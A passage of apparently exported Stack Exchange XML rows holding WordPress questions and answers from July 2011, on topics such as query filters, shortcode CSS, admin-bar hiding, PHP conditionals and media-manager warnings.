  <row Id="23064" PostTypeId="1" AcceptedAnswerId="23071" CreationDate="2011-07-15T14:53:40.410" Score="0" ViewCount="32" Body="&lt;p&gt;Im using wordpress together with qtranslate and it works on pages and post but not in menus, widgets etc. So i created jquery scripts to solve those issues. The problem is that the field &quot;link_description&quot; in wordpress link section is limited to 30. Using two languages or more, 30 characters is not enough. Is it possible to change or even remove this property without modifying any core files?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2011-07-15T15:58:09.040" Title="Change maxlength of link_description in dashbord link section?" Tags="&lt;wp-admin&gt;&lt;links&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="23065" PostTypeId="2" ParentId="21333" CreationDate="2011-07-15T15:16:58.967" Score="0" ViewCount="" Body="&lt;p&gt;So: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( has_post_format( 'video' )) { ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php the_excerpt();?&amp;gt;&#xA;&amp;lt;?php } else {;?&amp;gt; If you plan on adding something else. otherwise just delete this line and close with the next one only&#xA;&#xA;&amp;lt;?php } ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it, hope you find this helpful!! &lt;/p&gt;&#xA;" OwnerUserId="7054" LastActivityDate="2011-07-15T15:16:58.967" />
  <row Id="23066" PostTypeId="2" ParentId="23057" CreationDate="2011-07-15T15:22:56.137" Score="0" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;'category__in'&lt;/code&gt; in WP_Query; &#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed = WP_Query(array('category__in' =&amp;gt; array(102), 'posts_per_page' =&amp;gt; 3, 'order' =&amp;gt; 'DESC'));  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-15T15:22:56.137" />
  <row Id="23068" PostTypeId="1" AcceptedAnswerId="23075" CreationDate="2011-07-15T15:48:08.947" Score="0" ViewCount="42" Body="&lt;p&gt;I noticed that when starting to create a new post, and only attach images and then when leavning the post for some reason, it won't show up in the list post view. However when you look in the Media Library you'll see that the image is attached to &quot;Auto Draft&quot; and that the post really exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I find this useful, and would like to be able to list these Auto Drafts in the post view, but I don't really know what I need to do to list them.. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-07-15T19:37:43.857" Title="How to list &quot;invisible&quot; Auto Drafts?" Tags="&lt;attachments&gt;&lt;editor&gt;&lt;draft&gt;&lt;listing&gt;" AnswerCount="1" />
  <row Id="23070" PostTypeId="1" AcceptedAnswerId="23080" CreationDate="2011-07-15T15:52:11.907" Score="1" ViewCount="29" Body="&lt;p&gt;I have a short code that is adding a form to a page. How do I ensure that the CSS for the form is loaded in time with the shortcode?&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-07-15T16:13:05.920" Title="Custom CSS for plugin form" Tags="&lt;plugins&gt;&lt;css&gt;&lt;shortcode&gt;&lt;form&gt;" AnswerCount="3" />
  <row Id="23071" PostTypeId="2" ParentId="23064" CreationDate="2011-07-15T15:58:09.040" Score="0" ViewCount="" Body="&lt;p&gt;First of all, &quot;link description&quot; is defined in the database structure as VARCHAR(255), and I don't think there's anything in core limiting the size of the field farther. Are you sure that you can't fit more than 30 characters in your bookmark descriptions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, 255 characters can still be small if you are trying to fit several different language translations into the field. However, there's nothing stopping from you from simply redefining the column type in MySQL so that it can hold more data. Defining that field as &quot;TEXT&quot; would let you store up to 64K in it, and you wouldn't have to modify any core files to take advantage of that change.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-07-15T15:58:09.040" CommentCount="3" />
  <row Id="23072" PostTypeId="2" ParentId="23038" CreationDate="2011-07-15T15:59:04.100" Score="1" ViewCount="" Body="&lt;p&gt;You could go to the wordpress menu and make the target of the link a #. If the user clicks on it, they are taken to the top of the page where they probably are anyway since they're using the navigation. &lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-07-15T15:59:04.100" />
  <row Id="23073" PostTypeId="1" AcceptedAnswerId="23076" CreationDate="2011-07-15T15:59:53.870" Score="-1" ViewCount="55" Body="&lt;p&gt;I feel almost stupid for asking this.  I'm building a free theme for designers to rock with plenty of features.  But I have a code that looks like this and I don't know the first thing about PHP... so I don't know where to add endif to this, could somebody help me out?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I really don't know ANYTHING about PHP.  If you could just give me the entire code so I can paste it in it would be GREATLY appreciated.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( 'aside' ) {&#xA;  //  aside format post content here&#xA;} else if (has_post_format('gallery')) {&#xA;   // stuff to display the gallery format post here&#xA;} else if (has_post_format('link')) {&#xA;   // link format post content here&#xA;} else if (has_post_format('video')) {&#xA;   // video format post content here&#xA;} else if (has_post_format('audio')) {&#xA;   // audio format post content here&#xA;} else if (has_post_format('status')) {&#xA;   // status format post content here&#xA;} else if (has_post_format('chat')) {&#xA;   // chat format post content here&#xA;} else if (has_post_format('quote')) {&#xA;   // quote format post content here&#xA;} else if (has_post_format('image')) {&#xA;   // image format post content here&#xA;}else {&#xA;   // code to display the normal format post here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6565" LastEditorUserId="6565" LastEditorDisplayName="" LastEditDate="2011-07-15T16:50:43.417" LastActivityDate="2011-07-15T16:50:43.417" Title="Easy PHP Question" Tags="&lt;php&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="23074" PostTypeId="2" ParentId="23070" CreationDate="2011-07-15T15:59:54.053" Score="0" ViewCount="" Body="&lt;p&gt;You add the css for this form to your theme's style.css. The css is already there no matter if you have a form or not. That's the easiest solution.&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-15T15:59:54.053" CommentCount="2" />
  <row Id="23075" PostTypeId="2" ParentId="23068" CreationDate="2011-07-15T16:02:42.523" Score="1" ViewCount="" Body="&lt;p&gt;try pasting this in your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'display_autosave_and_revisions' );&#xA;function display_autosave_and_revisions( $query )&#xA;{&#xA;    global $pagenow,$typenow;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow == 'edit.php' &amp;amp;&amp;amp; $typenow == &quot;post&quot;) {&#xA;        $query-&amp;gt;query_vars['post_type'] = array('revision','post');&#xA;        $query-&amp;gt;query_vars['post_status'] = 'any';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-15T19:37:43.857" LastActivityDate="2011-07-15T19:37:43.857" CommentCount="8" />
  <row Id="23076" PostTypeId="2" ParentId="23073" CreationDate="2011-07-15T16:03:29.347" Score="0" ViewCount="" Body="&lt;p&gt;You don't need an endif; In this case you have ended your IF conditional with the last &quot;}&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The } before each &quot;else if&quot; and after the &quot;else&quot; close the opening { of &quot;if&quot; and each &quot;else if&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-15T16:03:29.347" CommentCount="1" />
  <row Id="23077" PostTypeId="2" ParentId="23073" CreationDate="2011-07-15T16:04:22.670" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;get_post_format()&lt;/code&gt; method along with &lt;code&gt;get_template_part()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the twentyeleven theme for a better reference.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-15T16:04:22.670" />
  <row Id="23078" PostTypeId="2" ParentId="23073" CreationDate="2011-07-15T16:05:40.337" Score="2" ViewCount="" Body="&lt;p&gt;Not really a WordPress topic, next time you may want to consult &lt;a href=&quot;http://stackoverflow.com&quot;&gt;Stackoverflow&lt;/a&gt; with PHP programming questions. Anyways, if you use curly braces aka { } you do not need an endif statement. Have a look at the PHP manual and read the section on control structures and alternative syntax. See here: &lt;a href=&quot;http://php.net/manual/en/control-structures.elseif.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/control-structures.elseif.php&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-15T16:05:40.337" CommentCount="1" />
  <row Id="23079" PostTypeId="2" ParentId="23073" CreationDate="2011-07-15T16:05:43.223" Score="1" ViewCount="" Body="&lt;p&gt;I don't think you need an endif unless you're using the alternate syntax with colons. &#xA;&lt;a href=&quot;http://www.php.net/manual/en/control-structures.elseif.php&quot; rel=&quot;nofollow&quot;&gt;Your Way&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/control-structures.alternative-syntax.php&quot; rel=&quot;nofollow&quot;&gt;Other Way&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-07-15T16:05:43.223" />
  <row Id="23080" PostTypeId="2" ParentId="23070" CreationDate="2011-07-15T16:09:34.967" Score="2" ViewCount="" Body="&lt;p&gt;you can check with &lt;code&gt;the_posts&lt;/code&gt; hook if your shortcode exists and only enqueue the style if so :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_for_shortcode($posts) {&#xA;    if ( empty($posts) )&#xA;        return $posts;&#xA;&#xA;    $found = false;&#xA;&#xA;    foreach ($posts as $post) {&#xA;        if ( stripos($post-&amp;gt;post_content, '[CHANGE_TO_YOUR_SHORT_CODE') )&#xA;            $found = true;&#xA;            break;&#xA;        }&#xA;&#xA;    if ($found){&#xA;        $url = get_bloginfo( 'template_directory' );&#xA;        wp_enqueue_style( 'my_login_Stylesheet',$url.'/my_login_Stylesheet.css' );&#xA;&#xA;    }&#xA;    return $posts;&#xA;}&#xA;add_action('the_posts', 'check_for_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-15T16:09:34.967" CommentCount="4" />
  <row Id="23081" PostTypeId="2" ParentId="23070" CreationDate="2011-07-15T16:13:05.920" Score="0" ViewCount="" Body="&lt;p&gt;You can also embed your styles through a  tag above the short code HTMl.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-15T16:13:05.920" CommentCount="1" />
  <row Id="23082" PostTypeId="2" ParentId="23035" CreationDate="2011-07-15T16:30:10.987" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if you can remove it (haven't checked), but you may achieve the same using css to hide the edit your profile link. The list item has an id 'wp-admin-bar-edit-profile' which you use to hide it. This is the html used in the admin bar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;wp-admin-bar-edit-profile&quot; class=&quot;&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.example.com/wp-admin/profile.php&quot;&amp;gt;Edit My Profile&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the following css: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#wp-admin-bar-edit-profile { display: none }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hides the link in the admin bar without any of the other links. Add this css snippet to your theme's style.css and the link will be hidden in the admin bar when viewing your site. Hiding it in the admin bar when viewing the WordPress backend involves a bit more and might be moot since there's also a link to the profile in the menu on the left.   &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-15T16:30:10.987" CommentCount="1" />
  <row Id="23083" PostTypeId="2" ParentId="23054" CreationDate="2011-07-15T16:36:45.410" Score="1" ViewCount="" Body="&lt;p&gt;You probably don't want to hear this, but I would suggest to reinstall WordPress and put your backups back. In the end that would be the fastest, easiest and most 'secure' = as in making sure you're not forgetting something which might cause issues in the future.&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-15T16:36:45.410" />
  <row Id="23084" PostTypeId="1" AcceptedAnswerId="23098" CreationDate="2011-07-15T16:37:19.247" Score="0" ViewCount="125" Body="&lt;p&gt;How can I remove the next and previous links in a custom post type archive page, but only for that post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could wrap any function in &lt;code&gt;if ( get_post_type($post) == 'myposttype' ) {}&lt;/code&gt; but I can't find a solid snippet to remove the pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few solutions, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22712/disable-pagination-but-only-on-a-custom-post-archive-template&quot;&gt;this being one of them&lt;/a&gt;, but nothing is working. And yes, I did try removing them from my template.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4fbyc.png&quot; alt=&quot;next page link&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-18T16:55:30.147" Title="How to disable pagination (next/previous links) on post type archive?" Tags="&lt;pagination&gt;&lt;archive&gt;&lt;custom-post-type-archives&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="23085" PostTypeId="2" ParentId="22846" CreationDate="2011-07-15T16:44:43.320" Score="0" ViewCount="" Body="&lt;p&gt;Answer: the change in 3.2 is from &lt;code&gt;adjacent_posts_rel_link&lt;/code&gt; to &lt;code&gt;adjacent_posts_rel_link_wp_head&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-15T16:44:43.320" />
  <row Id="23086" PostTypeId="2" ParentId="22466" CreationDate="2011-07-15T17:14:07.337" Score="1" ViewCount="" Body="&lt;p&gt;Found the solution. I'll put it here in case anyone stumbles on the same problem. According to &lt;a href=&quot;http://dannyvankooten.com/450/tinymce-wysiwyg-editor-in-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, this code helped me solve my problem: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_head&quot;,&quot;myplugin_load_tiny_mce&quot;);&#xA;&#xA;function myplugin_load_tiny_mce() {&#xA;&#xA;wp_tiny_mce( false ); // true gives you a stripped down version of the editor&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6783" LastActivityDate="2011-07-15T17:14:07.337" />
  <row Id="23087" PostTypeId="2" ParentId="23084" CreationDate="2011-07-15T17:17:42.667" Score="0" ViewCount="" Body="&lt;p&gt;This will visually remove it from the page (but the links will still be in the HTML):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the class on the  tag to use a CSS selector to set the Next/Previoius link CSS to &quot;display:none&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.post-type #nav-below {&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-07-18T16:20:46.547" LastActivityDate="2011-07-18T16:20:46.547" CommentCount="2" />
  <row Id="23088" PostTypeId="1" AcceptedAnswerId="23204" CreationDate="2011-07-15T18:06:15.157" Score="0" ViewCount="80" Body="&lt;p&gt;I'm trying to modify how results are displayed in a post list that's currently controlled by the code below. However, it's not built in the WP_Query &lt;code&gt;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&lt;/code&gt; style I'm accustomed to and have built a lot of shortcodes and loop styles around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the code below into a &quot;regular&quot; Wordpress loop that will allow me to use template tags like the_title()? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $totalposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;    $wp_query-&amp;gt;request = $querystr . &quot; LIMIT &quot; . $ppp . &quot; OFFSET &quot; .$offset;&#xA;    $results = $wpdb-&amp;gt;get_results($wp_query-&amp;gt;request, OBJECT);&#xA;    foreach ($results as $result) {&#xA;        $offset++;&#xA;        $output .= '&amp;lt;a href=&quot;'.get_post_permalink($result-&amp;gt;ID).'&quot;&amp;gt;' . $result-&amp;gt;post_title . ' (' . $result-&amp;gt;post_date . ')&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-07-17T06:02:49.157" Title="How to change a custom query into a standard loop?" Tags="&lt;wp-query&gt;&lt;loop&gt;&lt;wpdb&gt;&lt;template-tags&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="23089" PostTypeId="1" AcceptedAnswerId="23109" CreationDate="2011-07-15T18:15:44.660" Score="0" ViewCount="33" Body="&lt;p&gt;I was just wondering if calling get_bloginfo too many times was going to harm performance in a theme and if the data should just be put into its own var?&lt;/p&gt;&#xA;" OwnerUserId="6886" LastActivityDate="2011-07-15T22:28:24.227" Title="Are get_bloginfo queries cached to start, or should they be cached?" Tags="&lt;wordpress.org&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23090" PostTypeId="1" AcceptedAnswerId="23091" CreationDate="2011-07-15T18:15:50.603" Score="0" ViewCount="88" Body="&lt;p&gt;I have a custom post type with its own date field.  the date is setup for unix YYYY/mm/dd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a simple month calendar that shows days that have a cpt on them.  get_calendar works for posts but not a CPT.&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-07-15T18:27:28.837" Title="how can I create a calendar for a cpt, using get_calendar or other" Tags="&lt;custom-post-types&gt;&lt;calendar&gt;" AnswerCount="1" />
  <row Id="23091" PostTypeId="2" ParentId="23090" CreationDate="2011-07-15T18:27:28.837" Score="1" ViewCount="" Body="&lt;p&gt;You can put a custom function into your functions.php to show a calendar with CPTs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bajada.net/2010/07/15/adding-custom-post-types-to-get_calendar-and-the-calendar-widget&quot; rel=&quot;nofollow&quot;&gt;Details here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-15T18:27:28.837" CommentCount="7" />
  <row Id="23092" PostTypeId="2" ParentId="22893" CreationDate="2011-07-15T18:33:31.420" Score="0" ViewCount="" Body="&lt;p&gt;The only way I could figure it out was to build a list of ID's to exclude like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;* Hide some pages from search results&#xA;*/&#xA;function SearchFilter($query) {&#xA;    if ($query-&amp;gt;is_search) {&#xA;&#xA;        $exclude = '18,20,12,22,132,76,81,78,84,91';&#xA;        // Get all children of #18&#xA;        $pages = get_pages('post_parent=18');&#xA;            foreach($pages as $child) {            &#xA;            $exclude .=  &quot;,&quot; . $child-&amp;gt;ID;&#xA;        }&#xA;&#xA;        $query-&amp;gt;set('post__not_in', explode(&quot;,&quot;, $exclude));                        &#xA;    }&#xA;    return $query;&#xA;}&#xA;&#xA;add_filter('pre_get_posts','SearchFilter'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use any of the WP_Query parameters to do similar things (like a build a list of ID's to include).&lt;/p&gt;&#xA;" OwnerUserId="4562" LastActivityDate="2011-07-15T18:33:31.420" />
  <row Id="23093" PostTypeId="1" CreationDate="2011-07-15T18:40:59.443" Score="0" ViewCount="38" Body="&lt;p&gt;I hope you were easily able to understand my situation through the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Do we have any theme or plugin for on-spot editing the post by people or by me after the blog post is posted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.If there isn't any theme or pluggin for such feature should I make plugin or theme independently for my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.If both of the above fails,please give me a better option for some other kind of CMS as there are no many cms and I want to make my website with dynamic features. Please follow the link below and kindly suggest me one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_content_management_systems&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/List_of_content_management_systems&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7047" LastActivityDate="2011-07-15T18:54:50.293" Title="How can I make my website with wordpress having on-spot editing feature as compared to concrete5 CMS?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;customization&gt;&lt;wordpress.org&gt;&lt;cms&gt;" AnswerCount="1" />
  <row Id="23094" PostTypeId="2" ParentId="23054" CreationDate="2011-07-15T18:41:32.823" Score="3" ViewCount="" Body="&lt;p&gt;since i posted as a comment and most people miss the good tips that are in the comments, I'm posting again as an answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is because &lt;code&gt;GD Star rating&lt;/code&gt; plugin creates custom capabilities and your query deleted all references of &lt;code&gt;%rating%&lt;/code&gt; it deleted the &lt;code&gt;wp_user_roles&lt;/code&gt; option which holds all capabilities roles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the solution would be to re create that option in options table (usually wp_options) with the default value just like I answered &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17614/how-do-i-properly-format-the-user-role-array/17629#17629&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-15T18:41:32.823" />
  <row Id="23095" PostTypeId="2" ParentId="23093" CreationDate="2011-07-15T18:54:50.293" Score="3" ViewCount="" Body="&lt;p&gt;This is typically called &lt;em&gt;edit in place&lt;/em&gt;. Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front End Editor&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-15T18:54:50.293" CommentCount="2" />
  <row Id="23096" PostTypeId="1" CreationDate="2011-07-15T19:11:31.807" Score="-2" ViewCount="60" Body="&lt;p&gt;I created a wordpress site than needs a much needed facelift and I want to work with a designer who uses dreamweaver. We looked at tweaking my existing wordpress site but it would require coding expertise that neither of us have (for example we want each page to have a different header image and we don't want a top navigation menu on the home page). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the best course of action for him to create the site entirely in dreamweaver and then hire someone else to convert it or export it back into wordpress? I would like to be able to update it myself once the conversion is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wendy&lt;/p&gt;&#xA;" OwnerUserId="7057" LastActivityDate="2011-07-15T22:47:40.193" Title="converting dreamweaver to wordpress" Tags="&lt;design&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23097" PostTypeId="1" CreationDate="2011-07-15T19:36:18.227" Score="0" ViewCount="32" Body="&lt;p&gt;I am integrating an older WP blog into an existing site.  I am trying to avoid any theme usage and completely display the blog within an existing site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;taylorindustries.com/index.php?p=blog or taylorindustries.com/blog.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am attempting to role the entire blog into one script, complete with the front, post, tag, and author 'pages'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In turn i'm trying to work the permalink structure to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Here's my goals:&#xA;Home   :   /index.php?p=blog&#xA;Post   :   /index.php?p=blog&amp;amp;post=123(w/ the post define as 123)&#xA;Tag    :   /index.php?p=blog&amp;amp;tag=abc (w/ the tag define as abc)&#xA;Author :   /index.php?p=blog&amp;amp;author=john (w/ the author as john)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am having a little trouble manipulating the .htacces&#xA;I will keep working with what I have, but any input would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jesse Taylor&lt;/p&gt;&#xA;" OwnerUserId="7058" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-16T00:41:26.540" LastActivityDate="2011-07-16T00:41:26.540" Title="Permalink structure in custom integrate blog" Tags="&lt;php&gt;&lt;themes&gt;&lt;customization&gt;&lt;permalinks&gt;" CommentCount="1" />
  <row Id="23098" PostTypeId="2" ParentId="23084" CreationDate="2011-07-15T20:06:43.550" Score="1" ViewCount="" Body="&lt;p&gt;Got it figured out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I did manually remove the next page links, CloudFlare's cache was not playing nice.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-15T20:06:43.550" />
  <row Id="23099" PostTypeId="2" ParentId="11895" CreationDate="2011-07-15T20:34:23.537" Score="1" ViewCount="" Body="&lt;p&gt;There is a free plugin that allows autoupgrade for privately hosted plugins:&#xA;&lt;a href=&quot;https://github.com/meglio/wp-upgrademe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/meglio/wp-upgrademe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7059" LastActivityDate="2011-07-15T20:34:23.537" />
  <row Id="23100" PostTypeId="2" ParentId="23026" CreationDate="2011-07-15T20:41:21.973" Score="0" ViewCount="" Body="&lt;p&gt;You can create a custom localization file. Get this file: &lt;a href=&quot;http://svn.automattic.com/wordpress-i18n/pot/trunk/wordpress.pot&quot; rel=&quot;nofollow&quot;&gt;http://svn.automattic.com/wordpress-i18n/pot/trunk/wordpress.pot&lt;/a&gt; and edit using  PoEdit tool (for example). In next step save localization file as en_GB.mo (or other) and edit wp-config file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define (&quot;WPLANG&quot;, &quot;en_GB&quot;);&lt;/p&gt;&#xA;" OwnerUserId="7060" LastActivityDate="2011-07-15T20:41:21.973" CommentCount="1" />
  <row Id="23101" PostTypeId="1" CreationDate="2011-07-15T20:53:20.173" Score="0" ViewCount="25" Body="&lt;p&gt;I've been traumatized by the automatic upgrade in the past, and am fearful to ever try it again. It seems that there's no transaction logic, and when it fails, it leaves everything broken. Is there some way I can tell whether the upgrade will succeed or not based upon WordPress' ability to overwrite certain files, and whether it can make necessary changes to the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to be able to simply ask WordPress to test the various types of access it needs to upgrade, and then tell me whether or not those tests passed before trying to do the actual upgrade. Any solution that is capable of doing this?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2011-07-15T22:42:38.037" Title="Determining Whether Automatic Upgrade will Fail?" Tags="&lt;plugins&gt;&lt;auto-update&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23102" PostTypeId="2" ParentId="23101" CreationDate="2011-07-15T20:55:38.313" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure if a plugin for this exists.  But make sure you correct whatever mistake prevented it from upgrading last time.  Make sure the appropriate folders are writeable.&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-07-15T20:55:38.313" CommentCount="4" />
  <row Id="23103" PostTypeId="1" AcceptedAnswerId="23112" CreationDate="2011-07-15T20:58:39.643" Score="1" ViewCount="57" Body="&lt;p&gt;On a freshly built site running version 3.1.3 with the twentyten theme active and no plugins, when I click on &quot;Media&quot; to go the media manager, I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: explode() expects parameter 2 to be string, array given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2390&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: in_array() expects parameter 2 to be array, null given in&#xA;  C:\xampplite\htdocs\testsite\wp-includes\query.php on line 2399&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  